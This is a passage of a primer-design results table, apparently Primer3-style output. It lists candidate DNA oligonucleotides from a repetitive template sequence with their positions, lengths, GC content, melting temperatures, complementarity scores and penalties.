gctagctgatcgatcgatgctag          394 23  0 52.17 61.697 41.07 41.07 46.89  4.697\n 548 ctagctagctgatcgatcgatgc          391 23  0 52.17 61.697 24.08 21.09 35.21  4.697\n 549 gctagctagctgatcgatcgatg          390 23  0 52.17 61.697 34.38 11.03 46.11  4.697\n 550 gctagctagctgatcgatcgatg           70 23  0 52.17 61.697 34.38 11.03 46.11  4.697\n 551 gctactagctagctgactgata           461 22  0 45.45 57.286 15.96  3.69 44.92  4.714\n 552 gatcgatcatcatgctagctac           272 22  0 45.45 57.284 21.11  0.00  0.00  4.716\n 553 cgatgctagctaggcgat               408 18  0 55.56 57.277 10.81  3.01  0.00  4.723\n 554 atcgatgctagctaggcg               406 18  0 55.56 57.277 15.59  9.02  0.00  4.723\n 555 tagctactgatcgatgctacat           306 22  0 40.91 57.270 13.79  0.09  0.00  4.730\n 556 gctagctactatcatcgatcgat          430 23  0 43.48 58.251 25.37 25.37 35.13  4.749\n 557 tgcatgctagtagtgatgtatacg          33 24  0 41.67 59.224 20.79  0.00  0.00  4.776\n 558 gcatgctagtagtgatgtatacgt          34 24  0 41.67 59.223 11.60  0.00  0.00  4.777\n 559 atttagctagctgactgatcgatc         256 24  0 41.67 59.219 19.32 19.32  0.00  4.781\n 560 gactgatcgatcatcatgctag           268 22  0 45.45 57.215 24.51 15.87 41.77  4.785\n 561 atttagctagctgactgatcgat          256 23  0 39.13 58.215  4.16  0.00  0.00  4.785\n 562 gctgactgatcgatcatcatgct          265 23  0 47.83 61.788 27.72 15.10 41.77  4.788\n 563 agctgactgatcgatcatcatgc          264 23  0 47.83 61.788 27.74 27.74 41.77  4.788\n 564 tagctactatcatctctgcgcga          354 23  0 47.83 61.796  2.71  2.71  0.00  4.796\n 565 gctgatcatcgatgctactagcta         195 24  0 45.83 60.834 20.91  7.37 45.92  4.834\n 566 tagctgatcatcgatgctactagc         193 24  0 45.83 60.834 20.78 20.78 45.61  4.834\n 567 gctagctgatcatcgatgctacta         191 24  0 45.83 60.834 11.65  8.83  0.00  4.834\n 568 tagctagctgatcatcgatgctac         189 24  0 45.83 60.834 17.82 12.06  0.00  4.834\n 569 tagtgatgcatgctagtagtgatg          27 24  0 41.67 59.155 11.56  7.49  0.00  4.845\n 570 agtgatgcatgctagtagtgatgt          28 24  0 41.67 60.846 11.60  0.00  0.00  4.846\n 571 tgatgcatgctagtagtgatgta           30 23  0 39.13 58.147 11.60  8.84  0.00  4.853\n 572 ctgactgatcgatcgatgctagc          114 23  0 52.17 61.878 18.17 12.52 35.21  4.878\n 573 gctgactgatcgatcgatgctag          113 23  0 52.17 61.878 22.81 19.44 35.21  4.878\n 574 ctagctgactgatcgatcgatgc          110 23  0 52.17 61.878 24.08 19.43 35.21  4.878\n 575 gctagctgactgatcgatcgatg          109 23  0 52.17 61.878 23.05 13.21 35.21  4.878\n 576 tcatcatcgatgctagctagtag          521 23  0 43.48 58.114  2.81  0.00 40.32  4.886\n 577 tactagctagctgatcatcatcg          507 23  0 43.48 58.114  0.00  0.00  0.00  4.886\n 578 tcgatcatcatgctagctactag          274 23  0 43.48 58.114  0.00  0.00 37.62  4.886\n 579 tgatcatcgatgctactagctag          197 23  0 43.48 58.114 20.04 20.04 45.92  4.886\n 580 ctgatcatcgatgctactagcta          196 23  0 43.48 58.114 10.86  0.00 45.92  4.886\n 581 tagctgatcatcgatgctactag          193 23  0 43.48 58.114 13.67  9.68  0.00  4.886\n 582 ctagctgatcatcgatgctacta          192 23  0 43.48 58.114 11.65  8.83  0.00  4.886\n 583 ctactagctagctgatcatcatcg         506 24  0 45.83 59.110  1.08  0.00  0.00  4.890\n 584 ctgatcatcgatgctactagctag         196 24  0 45.83 59.110 20.04 20.04 45.92  4.890\n 585 ctagctgatcatcgatgctactag         192 24  0 45.83 59.110 15.68 15.68  0.00  4.890\n 586 gctagctagctgatcatcatctag         146 24  0 45.83 59.102 34.38 13.13 44.71  4.898\n 587 gctagctagctgatcatcatcta          146 23  0 43.48 58.097 34.38  0.00 46.11  4.903\n 588 ctagtgatgcatgctagtagtg            26 22  0 45.45 57.072 20.00  3.96  0.00  4.928\n 589 gctactatcatctctgcgcgatc          356 23  0 52.17 61.936  4.99  0.00  0.00  4.936\n 590 gctgatcgatcgatgtgc                78 18  0 55.56 57.052 29.71 26.38 35.21  4.948\n 591 tagctagctactatcatcgatcga         428 24  0 41.67 59.031 27.80 22.52  0.00  4.969\n 592 agctagctgatcgatcgtagcg           562 22  0 54.55 62.971 27.20 18.31  0.00  4.971\n 593 tgactgatacgcgatgct               474 18  0 50.00 57.028  2.33  0.00  0.00  4.972\n 594 gatcatcatcgatgctagctag           519 22  0 45.45 57.019 17.46 17.46 40.32  4.981\n 595 tcatcatcgatgctagctagta           521 22  0 40.91 57.005 22.18 18.77 40.32  4.995\n 596 tcgatcatcatgctagctacta           274 22  0 40.91 57.005  0.00  0.00  0.00  4.995\n 597 tgatcatcgatgctactagcta           197 22  0 40.91 57.005 17.14  1.01 45.92  4.995\n 598 tagctgatcatcgatgctacta           193 22  0 40.91 57.005 12.62  8.42  0.00  4.995\n 599 tagctagctgactgatacgcgat          466 23  0 47.83 62.044 28.29  0.00  0.00  5.044\n 600 ctagctagctactatcatcgatcga        427 25  0 44.00 59.949 27.80 22.52  0.00  5.051\n 601 agctagctgactgatcgatcgat          108 23  0 47.83 62.053 30.53 30.53 37.90  5.053\n 602 ctactagctagctgactgatacgc         462 24  0 50.00 61.062  3.61  0.00  0.00  5.062\n 603 gctactagctagctgactgatacg         461 24  0 50.00 61.062 14.37  0.00 44.92  5.062\n 604 tgatcatcatcgatgctagctagta        518 25  0 40.00 60.062 22.18 18.77 40.32  5.062\n 605 tgatcgatcatcatgctagctacta        271 25  0 40.00 60.062 27.48  0.00 37.38  5.062\n 606 ctagtgatgcatgctagtagtgatg         26 25  0 44.00 60.064 20.00  7.49  0.00  5.064\n 607 gctagctagctactatcatcgatc         426 24  0 45.83 58.932 34.38  4.20 46.11  5.068\n 608 gctagctactgatcgatgctacat         304 24  0 45.83 61.072 11.21  0.00  0.00  5.072\n 609 gctagctagctactatcatcgat          426 23  0 43.48 57.922 34.38  0.00 46.11  5.078\n 610 ctagtgatgcatgctagtagtgat          26 24  0 41.67 58.911 20.00  4.64  0.00  5.089\n 611 tactatcatctctgcgcgatcga          358 23  0 47.83 62.092 22.07  1.72 38.48  5.092\n 612 agctgatcgatcgatgctagcta          397 23  0 47.83 62.111 31.26 14.51 40.03  5.111\n 613 tagctgatcgatcgatgctagct          396 23  0 47.83 62.111 33.22 33.22 42.08  5.111\n 614 agctagctgatcgatcgatgcta          393 23  0 47.83 62.111 34.11 32.56 36.80  5.111\n 615 tagctagctgatcgatcgatgct          392 23  0 47.83 62.111 33.87 33.38 38.16  5.111\n 616 tagtgatgcatgctagtagtgat           27 23  0 39.13 57.886 11.56  0.00  0.00  5.114\n 617 tactagctagctgatcatcatcgat        507 25  0 40.00 59.828  0.00  0.00  0.00  5.172\n 618 gctagctagctgatcatcgatgc          187 23  0 52.17 62.193 34.38  9.22 46.11  5.193\n 619 gctagtgatgcatgctagtagtga          25 24  0 45.83 61.195 24.96  4.57  0.00  5.195\n 620 aaagcatcggattagctagctgat           1 24  0 41.67 61.209 17.84 15.13  0.00  5.209\n 621 gtgatgcatgctagtagtgatgtat         29 25  0 40.00 59.774  1.07  1.07  0.00  5.226\n 622 ctatcatctctgcgcgatcgatg          360 23  0 52.17 62.227 18.01 18.01 38.48  5.227\n 623 tgactgatacgcgatgctagcta          474 23  0 47.83 62.287 17.69  3.08  0.00  5.287\n 624 tagctgactgatacgcgatgcta          470 23  0 47.83 62.287 12.64  9.09  0.00  5.287\n 625 tgctagtagtgatgtatacgtagct         37 25  0 40.00 59.713  9.37  8.73  0.00  5.287\n 626 tgactgatcgatcgatgctagct          115 23  0 47.83 62.296 20.19 11.59 35.21  5.296\n 627 agctgactgatcgatcgatgcta          112 23  0 47.83 62.296 26.44 14.64 35.21  5.296\n 628 tagctgactgatcgatcgatgct          111 23  0 47.83 62.296 31.98 30.27 35.21  5.296\n 629 ctagctagctactatcatcgatcg         427 24  0 45.83 58.703 12.49  9.87  0.00  5.297\n 630 tagctagctactatcatcgatcg          428 23  0 43.48 57.691 27.80  9.87  0.00  5.309\n 631 gactgatcgatcatcatgctagct         268 24  0 45.83 61.313 24.51  7.81 41.77  5.313\n 632 gctagctgactgatcgatcatcat         261 24  0 45.83 61.313 26.31 20.43 41.77  5.313\n 633 ctatttagctagctgactgatcga         254 24  0 41.67 58.679  0.00  0.00  0.00  5.321\n 634 gcatgctagtagtgatgtatacg           34 23  0 43.48 57.659 11.60  0.00  0.00  5.341\n 635 tatttagctagctgactgatcga          255 23  0 39.13 57.650  0.00  0.00  0.00  5.350\n 636 ctactagctagctgatcatcatcga        506 25  0 44.00 60.352  1.08  0.00  0.00  5.352\n 637 agctactatcatctctgcgcgat          355 23  0 47.83 62.360  4.99  2.52  0.00  5.360\n 638 gctgatcatcatcgatgctagcta         516 24  0 45.83 61.370 20.15  8.49 40.32  5.370\n 639 tagctgatcatcatcgatgctagc         514 24  0 45.83 61.370 20.04 19.26 40.32  5.370\n 640 gctagctgatcatcatcgatgcta         512 24  0 45.83 61.370 14.58  9.63 40.32  5.370\n 641 tagctagctgatcatcatcgatgc         510 24  0 45.83 61.370 21.42  7.40 40.32  5.370\n 642 atgcatgctagtagtgatgtatacg         32 25  0 40.00 59.604 11.70  0.00  0.00  5.396\n 643 tgatgcatgctagtagtgatgtat          30 24  0 37.50 58.592 12.66 12.66  0.00  5.408\n 644 gactgatcgatcgatgctagctag         116 24  0 50.00 61.409 18.04 17.46 35.21  5.409\n 645 gctatttagctagctgactgatc          253 23  0 43.48 57.572  7.27  0.00 46.11  5.428\n 646 tgctagtgatgcatgctagtagtg          24 24  0 45.83 61.434 24.96 10.54 35.89  5.434\n 647 ctagctagctactatcatctctgc         349 24  0 45.83 58.562 27.80  0.00  0.00  5.438\n 648 gctagctagctactatcatctctg         348 24  0 45.83 58.562 34.38  6.79 46.11  5.438\n 649 gatcatcatcgatgctagctagta         519 24  0 41.67 58.557 22.18 18.77 40.32  5.443\n 650 gatcgatcatcatgctagctacta         272 24  0 41.67 58.557 21.11  0.00  0.00  5.443\n 651 atcatcatcgatgctagctagtag         520 24  0 41.67 58.554  2.13  0.00 40.32  5.446\n 652 atcgatcatcatgctagctactag         273 24  0 41.67 58.554  0.00  0.00 37.62  5.446\n 653 tagctagctactatcatctctgc          350 23  0 43.48 57.527 27.80  0.00  0.00  5.473\n 654 atcatcatcgatgctagctagta          520 23  0 39.13 57.514 22.18 18.77 40.32  5.486\n 655 atcgatcatcatgctagctacta          273 23  0 39.13 57.514  0.00  0.00  0.00  5.486\n 656 gatcatcatcgatgctagctagtag        519 25  0 44.00 59.494  0.21  0.00 40.32  5.506\n 657 gatcgatcatcatgctagctactag        272 25  0 44.00 59.494 21.11  0.00 37.62  5.506\n 658 actagctagctgatcatcatctact        211 25  0 40.00 59.471 22.43  6.99  0.00  5.529\n 659 tgactgatcgatcatcatgctagc         267 24  0 45.83 61.547 26.79 14.13 41.77  5.547\n 660 gctgactgatcgatcatcatgcta         265 24  0 45.83 61.547 27.72 16.42 41.77  5.547\n 661 tagctgactgatcgatcatcatgc         263 24  0 45.83 61.547 27.74 27.74 41.77  5.547\n 662 tgctagtagtgatgtatacgtagc          37 24  0 41.67 58.446  4.93  4.93  0.00  5.554\n 663 ctagctagctgactgatacgcga          465 23  0 52.17 62.571 14.90  0.00  0.00  5.571\n 664 tagctagctactatcatcgatcgat        428 25  0 40.00 59.423 27.80 25.37 35.13  5.577\n 665 gctactagctagctgatcatcatct        208 25  0 44.00 60.585 14.37  0.00 44.92  5.585\n 666 agctgatcatcatctagctagtagc        153 25  0 44.00 60.585 15.25 15.25 40.45  5.585\n 667 ctagctagctgatcgatcgatgtg          71 24  0 50.00 61.642 11.68  4.94 35.21  5.642\n 668 agtgatgcatgctagtagtgatgta         28 25  0 40.00 60.646 11.60  8.84  0.00  5.646\n 669 tagtgatgcatgctagtagtgatgt         27 25  0 40.00 60.646 11.60  0.00  0.00  5.646\n 670 actatcatctctgcgcgatcgat          359 23  0 47.83 62.652 22.07 11.47 38.48  5.652\n 671 ctatttagctagctgactgatcg          254 23  0 43.48 57.339  0.00  0.00  0.00  5.661\n 672 tagctagctgatcgatcgtagcg          561 23  0 52.17 62.677 27.20 18.31  0.00  5.677\n 673 gcatcggattagctagctgatgc            4 23  0 52.17 62.687 34.10 34.10 41.15  5.687\n 674 tgcatgctagtagtgatgtatacgt         33 25  0 40.00 60.700 20.79  0.00  0.00  5.700\n 675 tttagctagctgactgatcgatcat        257 25  0 40.00 60.702 26.67 18.02 36.62  5.702\n 676 atttagctagctgactgatcgatca        256 25  0 40.00 60.702 26.99 26.99 35.44  5.702\n 677 gctagctagctactatcatctct          348 23  0 43.48 57.266 34.38  0.00 46.11  5.734\n 678 aagcatcggattagctagctgatg           2 24  0 45.83 61.794 27.81 27.81 33.28  5.794\n 679 agtgatgtatacgtagctagtagc          44 24  0 41.67 58.201 15.25 15.25 45.79  5.799\n 680 gctagtagtgatgtatacgtagct          38 24  0 41.67 58.201  5.92  5.92  0.00  5.799\n 681 tagctagctgactgatcgatcgat         107 24  0 45.83 61.800 30.53 30.53 37.90  5.800\n 682 actagctagctgactgatacgcg          464 23  0 52.17 62.816 21.52  3.89  0.00  5.816\n 683 actagctagctgatcatcatctac         211 24  0 41.67 58.178 22.43  0.00  0.00  5.822\n 684 tagctgatcgatcgatgctagcta         396 24  0 45.83 61.857 34.98 33.55 41.05  5.857\n 685 tagctagctgatcgatcgatgcta         392 24  0 45.83 61.857 34.11 32.56 36.80  5.857\n 686 tatttagctagctgactgatcgat         255 24  0 37.50 58.112  1.68  0.00  0.00  5.888\n 687 gcatgctagtagtgatgtatacgta         34 25  0 40.00 59.089 11.60  0.00  0.00  5.911\n 688 tatttagctagctgactgatcgatc        255 25  0 40.00 59.084 19.32 19.32  0.00  5.916\n 689 ctatttagctagctgactgatcgat        254 25  0 40.00 59.082  0.00  0.00  0.00  5.918\n 690 ctagctagctactatcatctctgcg        349 25  0 48.00 60.920 27.80  5.75  0.00  5.920\n 691 tgatcgatcgatgctagctaggc          400 23  0 52.17 62.955 26.44 12.49 35.21  5.955\n 692 agctagctactgatcgatgctaca         303 24  0 45.83 61.988 17.56  3.03  0.00  5.988\n 693 tgactgatcgatcgatgctagcta         115 24  0 45.83 62.034 20.19 11.16 35.21  6.034\n 694 tagctgactgatcgatcgatgcta         111 24  0 45.83 62.034 33.43 30.74 35.21  6.034\n 695 catgctagtagtgatgtatacgtagc        35 26  0 42.31 59.961  4.93  4.93  0.00  6.039\n 696 gcatgctagtagtgatgtatacgtag        34 26  0 42.31 59.961 11.60  0.00  0.00  6.039\n 697 actgatcgatcgatgctagctagt         117 24  0 45.83 62.039 23.29 15.07 35.21  6.039\n 698 ctatttagctagctgactgatcgatc       254 26  0 42.31 59.960 19.32 19.32  0.00  6.040\n 699 ttagctagctgactgatcgatcatc        258 25  0 44.00 61.041 28.29 21.92 36.62  6.041\n 700 atgctagtagtgatgtatacgtagct        36 26  0 38.46 60.068  9.37  8.73  0.00  6.068\n 701 ctagctagctgatcatcatctact         212 24  0 41.67 57.930 11.68  6.99  0.00  6.070\n 702 ctactagctagctgatcatcatct         209 24  0 41.67 57.930  1.08  0.00  0.00  6.070\n 703 agctgatcatcatctagctagtag         153 24  0 41.67 57.930  7.49  3.73 40.45  6.070\n 704 ctagctgatcatcatctagctagt         151 24  0 41.67 57.930 21.70  5.56 46.15  6.070\n 705 tagctactatcatctctgcgcgat         354 24  0 45.83 62.096  4.99  2.52  0.00  6.096\n 706 gactgatcgatcatcatgctagcta        268 25  0 44.00 61.099 24.51  4.57 41.77  6.099\n 707 ctgatcatcatcgatgctagctagt        517 25  0 44.00 61.101 22.18  3.56 40.32  6.101\n 708 actagctagctgatcatcatcgatg        508 25  0 44.00 61.101 22.43 20.23 41.48  6.101\n 709 ctgatcgatcatcatgctagctact        270 25  0 44.00 61.101 26.67  0.00 41.77  6.101\n 710 atgctagtagtgatgtatacgtagc         36 25  0 40.00 58.855  4.93  4.93  0.00  6.145\n 711 ctagctagctactgatcgatgctac        301 25  0 48.00 61.145 14.00  7.81  0.00  6.145\n 712 gctagctagctactatcatctctgc        348 25  0 48.00 61.152 34.38 11.74 46.11  6.152\n 713 agctagctgatcatcatctactatca       214 26  0 38.46 59.840 17.99  0.00  0.00  6.160\n 714 ctgatcgatcgatgctagctagtag        118 25  0 48.00 61.197 19.70  5.49 35.21  6.197\n 715 agctagctgactgatcgatcatca         260 24  0 45.83 62.232 26.49 26.49 39.98  6.232\n 716 gctagctagctactatcatcgatcg        426 25  0 48.00 61.252 34.38  9.87 46.11  6.252\n 717 gctatttagctagctgactgatcga        253 25  0 44.00 61.268  7.27  0.00 46.11  6.268\n 718 ctagctagctactatcatcgatcgat       427 26  0 42.31 60.291 27.80 25.37 35.13  6.291\n 719 agctgatcatcgatgctactagct         194 24  0 45.83 62.294 24.11 23.60 45.92  6.294\n 720 agctagctgatcatcgatgctact         190 24  0 45.83 62.294 17.99 10.88  0.00  6.294\n 721 ctagctagctgactgatcgatcga         106 24  0 50.00 62.312 22.52 22.52  0.00  6.312\n 722 actgatcgatcatcatgctagctac        269 25  0 44.00 61.328 26.67  0.00 41.77  6.328\n 723 tgatgcatgctagtagtgatgtatac        30 26  0 38.46 59.623  9.19  6.43  0.00  6.377\n 724 gtgatgcatgctagtagtgatgtata        29 26  0 38.46 59.623  4.23  0.00  0.00  6.377\n 725 tactatcatctctgcgcgatcgat         358 24  0 45.83 62.379 22.07 11.47 38.48  6.379\n 726 gctagctgatcatcatctactatca        215 25  0 40.00 58.607  8.21  0.00  0.00  6.393\n 727 gctactagctagctgatcatcatcta       208 26  0 42.31 60.404 14.37  0.00 44.92  6.404\n 728 tagctgatcatcatctagctagtagc       152 26  0 42.31 60.404 15.25 15.25 41.48  6.404\n 729 tgctagtagtgatgtatacgtagcta        37 26  0 38.46 59.564 10.00  8.05  0.00  6.436\n 730 gatgcatgctagtagtgatgtatacg        31 26  0 42.31 60.453  7.40  0.00  0.00  6.453\n 731 tagtgatgcatgctagtagtgatgta        27 26  0 38.46 60.461 11.60  8.84  0.00  6.461\n 732 gctagtgatgcatgctagtagtgat         25 25  0 44.00 61.506 24.96  8.51  0.00  6.506\n 733 tgcatgctagtagtgatgtatacgta        33 26  0 38.46 60.515 20.79  0.00  0.00  6.515\n 734 tatttagctagctgactgatcgatca       255 26  0 38.46 60.516 26.99 26.99 35.44  6.516\n 735 tgatgcatgctagtagtgatgtata         30 25  0 36.00 58.479  4.13  0.00  0.00  6.521\n 736 tactagctagctgactgatacgcg         463 24  0 50.00 62.538 13.17  3.89  0.00  6.538\n 737 ctagctactatcatctctgcgcga         353 24  0 50.00 62.603  2.71  2.71  0.00  6.603\n 738 agctagctgatcatcatctactatc        214 25  0 40.00 58.369 17.99  0.00  0.00  6.631\n 739 agctagctgatcatcatctactat         214 24  0 37.50 57.345 17.99  0.00  0.00  6.655\n 740 gctactagctagctgatcatcatcg        505 25  0 48.00 61.656 14.37  0.00 44.92  6.656\n 741 gctgatcatcgatgctactagctag        195 25  0 48.00 61.656 20.91 20.04 45.92  6.656\n 742 ctagctgatcatcgatgctactagc        192 25  0 48.00 61.656 20.78 20.78 45.61  6.656\n 743 gctagctgatcatcgatgctactag        191 25  0 48.00 61.656 20.13 20.13  0.00  6.656\n 744 ctagctagctgatcatcgatgctac        188 25  0 48.00 61.656 17.82 12.06  0.00  6.656\n 745 actagctagctgatcatcatctacta       211 26  0 38.46 59.328 22.43  8.11  0.00  6.672\n 746 tactagctagctgatcatcatctact       210 26  0 38.46 59.328  6.99  6.99  0.00  6.672\n 747 ctactagctagctgatcatcatcgat       506 26  0 42.31 60.681  1.08  0.00  0.00  6.681\n 748 tagctagctactgatcgatgctaca        302 25  0 44.00 61.746 27.80  5.02  0.00  6.746\n 749 gtagtgatgtatacgtagctagtagc        42 26  0 42.31 59.249 15.25 15.25 45.79  6.751\n 750 actgatcgatcgatgctagctagta        117 25  0 44.00 61.797 23.29 18.77 35.21  6.797\n 751 gatgcatgctagtagtgatgtatac         31 25  0 40.00 58.175 20.79  1.70  0.00  6.825\n 752 agctgatcatcatcgatgctagct         515 24  0 45.83 62.835 23.00 22.41 41.74  6.835\n 753 agctagctgatcatcatcgatgct         511 24  0 45.83 62.835 17.99  8.34 40.32  6.835\n 754 ctagctagctgactgatacgcgat         465 24  0 50.00 62.838 14.90  0.00  0.00  6.838\n 755 atgcatgctagtagtgatgtatac          32 24  0 37.50 57.161 11.70  0.53  0.00  6.839\n 756 agctagctactatcatctctgcgc         351 24  0 50.00 62.858 17.56  0.00  0.00  6.858\n 757 gctagctagctactgatcgatgct         300 24  0 50.00 62.858 34.38 11.51 46.11  6.858\n 758 ctactatcatctctgcgcgatcga         357 24  0 50.00 62.878 22.07  1.72 38.48  6.878\n 759 gctagctactgatcgatgctacatc        304 25  0 48.00 61.879 11.21  4.40 37.97  6.879\n 760 tagtgatgtatacgtagctagtagc         43 25  0 40.00 58.104 15.25 15.25 45.79  6.896\n 761 gctagtagtgatgtatacgtagcta         38 25  0 40.00 58.104  7.24  5.34  0.00  6.896\n 762 tgatcatcatcgatgctagctagtag       518 26  0 42.31 60.902 14.93  0.00 40.32  6.902\n 763 ctgatcatcatcgatgctagctagta       517 26  0 42.31 60.902 22.18 18.77 40.32  6.902\n 764 tactagctagctgatcatcatcgatg       507 26  0 42.31 60.902 20.23 20.23 41.48  6.902\n 765 tgatcgatcatcatgctagctactag       271 26  0 42.31 60.902 27.48  0.00 37.38  6.902\n 766 ctgatcgatcatcatgctagctacta       270 26  0 42.31 60.902 26.67  1.37 41.77  6.902\n 767 agctgatcgatcgatgctagctag         397 24  0 50.00 62.904 31.26 19.90 40.03  6.904\n 768 ctagctgatcgatcgatgctagct         395 24  0 50.00 62.904 35.51 33.22 43.05  6.904\n 769 agctagctgatcgatcgatgctag         393 24  0 50.00 62.904 41.07 41.07 46.89  6.904\n 770 ctagctagctgatcgatcgatgct         391 24  0 50.00 62.904 33.87 33.38 38.16  6.904\n 771 tactagctagctgatcatcatctac        210 25  0 40.00 58.081  0.00  0.00  0.00  6.919\n 772 gctagctgatcatcatctactatc         215 24  0 41.67 57.062  8.21  0.00  0.00  6.938\n 773 agtgatgcatgctagtagtgatgtat        28 26  0 38.46 60.969  1.07  1.07  0.00  6.969\n 774 gctagtagtgatgtatacgtagctag        38 26  0 42.31 59.027  8.99  8.99  0.00  6.973\n 775 tagctagctgactgatcgatcatca        259 25  0 44.00 61.981 28.29 26.49 39.98  6.981\n 776 ctactagctagctgatcatcatctac       209 26  0 42.31 59.015  1.08  0.00  0.00  6.985\n 777 agtagtgatgtatacgtagctagt          41 24  0 37.50 57.012  8.68  8.68  0.00  6.988\n 778 gctagctgatcatcatctactatcat       215 26  0 38.46 59.001  8.21  0.00  0.00  6.999\n 779 agctgatcatcatctactatcatca        218 25  0 36.00 57.993  0.00  0.00  0.00  7.007\n 780 atgcatgctagtagtgatgtatacgt        32 26  0 38.46 61.018 11.70  0.00  0.00  7.018\n 781 atttagctagctgactgatcgatcat       256 26  0 38.46 61.022 26.67 18.02 36.62  7.022\n 782 agctgatcatcgatgctactagcta        194 25  0 44.00 62.040 24.59  9.79 45.92  7.040\n 783 tagctgatcatcgatgctactagct        193 25  0 44.00 62.040 27.00 27.00 45.92  7.040\n 784 agctagctgatcatcgatgctacta        190 25  0 44.00 62.040 17.99 11.59  0.00  7.040\n 785 tagctagctgatcatcgatgctact        189 25  0 44.00 62.040 17.55 15.53  0.00  7.040\n 786 atgctagtagtgatgtatacgtagcta       36 27  0 37.04 59.911 10.00  8.05  0.00  7.089\n 787 gctagctgatcatcatctactatcatc      215 27  0 40.74 59.861  8.21  0.00  0.00  7.139\n 788 ctagctagctgatcatcatctacta        212 25  0 40.00 57.842 11.68  8.11  0.00  7.158\n 789 ctactagctagctgatcatcatcta        209 25  0 40.00 57.842  1.08  0.00  0.00  7.158\n 790 tagctgatcatcatctagctagtag        152 25  0 40.00 57.842 13.40  3.73 41.48  7.158\n 791 ctagctgatcatcatctagctagta        151 25  0 40.00 57.842 21.70  7.13 46.15  7.158\n 792 gctgatcatcatcgatgctagctag        516 25  0 48.00 62.165 20.15 17.46 40.32  7.165\n 793 ctagctgatcatcatcgatgctagc        513 25  0 48.00 62.165 19.27 19.26 41.96  7.165\n 794 gctagctgatcatcatcgatgctag        512 25  0 48.00 62.165 23.70 23.70 45.51  7.165\n 795 ctagctagctgatcatcatcgatgc        509 25  0 48.00 62.165 21.42  7.40 40.32  7.165\n 796 agctagctgatcatcatctactatcat      214 27  0 37.04 60.181 17.99  0.00  0.00  7.181\n 797 ctactagctagctgatcatcatctact      209 27  0 40.74 60.181  6.99  6.99  0.00  7.181\n 798 ctagctgatcatcatctagctagtag       151 26  0 42.31 58.789 21.70 10.73 46.15  7.211\n 799 aaagcatcggattagctagctgatg          1 25  0 44.00 62.249 27.81 27.81 33.28  7.249\n 800 agctagctactgatcgatgctacat        303 25  0 44.00 62.272 17.56  6.16  0.00  7.272\n 801 tagctagctgatcatcatctactatca      213 27  0 37.04 59.689  8.31  0.00  0.00  7.311\n 802 actagctagctgatcatcatctactat      211 27  0 37.04 59.688 22.43  2.36  0.00  7.312\n 803 ctgactgatcgatcatcatgctagc        266 25  0 48.00 62.333 20.99  8.86 41.77  7.333\n 804 gctgactgatcgatcatcatgctag        265 25  0 48.00 62.333 27.72 21.73 41.77  7.333\n 805 ctagctgactgatcgatcatcatgc        262 25  0 48.00 62.333 27.74 27.74 41.77  7.333\n 806 gctagctgactgatcgatcatcatg        261 25  0 48.00 62.333 22.70 19.51 41.77  7.333\n 807 tgctagtagtgatgtatacgtagctag       37 27  0 40.74 60.395  8.99  8.99  0.00  7.395\n 808 agtagtgatgtatacgtagctagtagc       41 27  0 40.74 60.395 15.25 15.25 45.79  7.395\n 809 gctagtagtgatgtatacgtagctagt       38 27  0 40.74 60.395 15.55 15.55  0.00  7.395\n 810 ctagtgatgcatgctagtagtgatgt        26 26  0 42.31 61.460 20.00  0.00  0.00  7.460\n 811 gctgatcatcatctactatcatcatca      219 27  0 37.04 59.533  0.00  0.00  0.00  7.467\n 812 agctagctgactgatcgatcatcat        260 25  0 44.00 62.507 26.31 20.43 41.77  7.507\n 813 tttagctagctgactgatcgatcatc       257 26  0 42.31 61.507 23.93 21.92 36.62  7.507\n 814 catgctagtagtgatgtatacgtag         35 25  0 40.00 57.441  4.74  0.00  0.00  7.559\n 815 agctgatcatcatcgatgctagcta        515 25  0 44.00 62.561 23.50 10.90 43.19  7.561\n 816 tagctgatcatcatcgatgctagct        514 25  0 44.00 62.561 26.21 26.21 44.79  7.561\n 817 agctagctgatcatcatcgatgcta        511 25  0 44.00 62.561 17.99  9.63 40.32  7.561\n 818 tagctagctgatcatcatcgatgct        510 25  0 44.00 62.561 14.14 10.38 40.32  7.561\n 819 gctatttagctagctgactgatcgat       253 26  0 42.31 61.564  7.27  0.00 46.11  7.564\n 820 ctagctagctgactgatcgatcgat        106 25  0 48.00 62.579 30.53 30.53 37.90  7.579\n 821 agctgatcatcatctactatcatcat       218 26  0 34.62 58.415  0.00  0.00  0.00  7.585\n 822 tagctagctactatcatctctgcgc        350 25  0 48.00 62.587 27.80  0.00  0.00  7.587\n 823 gctagctagctactgatcgatgcta        300 25  0 48.00 62.587 34.38 12.23 46.11  7.587\n 824 tgctagtgatgcatgctagtagtga         24 25  0 44.00 62.622 24.96 13.57 35.89  7.622\n 825 tagctgatcgatcgatgctagctag        396 25  0 48.00 62.632 33.71 21.46 41.05  7.632\n 826 ctagctgatcgatcgatgctagcta        395 25  0 48.00 62.632 35.51 32.61 43.05  7.632\n 827 tagctagctgatcgatcgatgctag        392 25  0 48.00 62.632 41.07 41.07 46.89  7.632\n 828 ctagctagctgatcgatcgatgcta        391 25  0 48.00 62.632 34.11 32.56 36.80  7.632\n 829 gtgatgcatgctagtagtgatgtatac       29 27  0 40.74 60.659  9.56  7.17  0.00  7.659\n 830 agctgatcatcatctactatcatcatc      218 27  0 37.04 59.314  0.00  0.00  0.00  7.686\n 831 tagctagctgatcatcatctactat        213 25  0 36.00 57.279  8.31  0.00  0.00  7.721\n 832 tagctagctgatcatcatctactatc       213 26  0 38.46 58.269  8.31  0.00  0.00  7.731\n 833 tgactgatcgatcatcatgctagct        267 25  0 44.00 62.733 26.79 10.55 41.77  7.733\n 834 agctgactgatcgatcatcatgcta        264 25  0 44.00 62.733 30.60 18.10 41.77  7.733\n 835 tagctgactgatcgatcatcatgct        263 25  0 44.00 62.733 32.31 32.31 41.77  7.733\n 836 ctagctagctgatcatcatctactat       212 26  0 38.46 58.265  9.41  0.00  0.00  7.735\n 837 agtgatgcatgctagtagtgatgtata       28 27  0 37.04 60.779  4.23  0.00  0.00  7.779\n 838 tagtgatgcatgctagtagtgatgtat       27 27  0 37.04 60.779 11.56  0.00  0.00  7.779\n 839 tgactgatcgatcgatgctagctag        115 25  0 48.00 62.800 20.19 17.46 35.21  7.800\n 840 ctgactgatcgatcgatgctagcta        114 25  0 48.00 62.800 20.19 11.97 35.21  7.800\n 841 tagctgactgatcgatcgatgctag        111 25  0 48.00 62.800 31.45 26.34 35.21  7.800\n 842 ctagctgactgatcgatcgatgcta        110 25  0 48.00 62.800 31.54 29.68 35.21  7.800\n 843 tagctagctgactgatcgatcgatg        107 25  0 48.00 62.800 28.29 13.21 35.21  7.800\n 844 gactgatcgatcgatgctagctagt        116 25  0 48.00 62.802 22.18 12.64 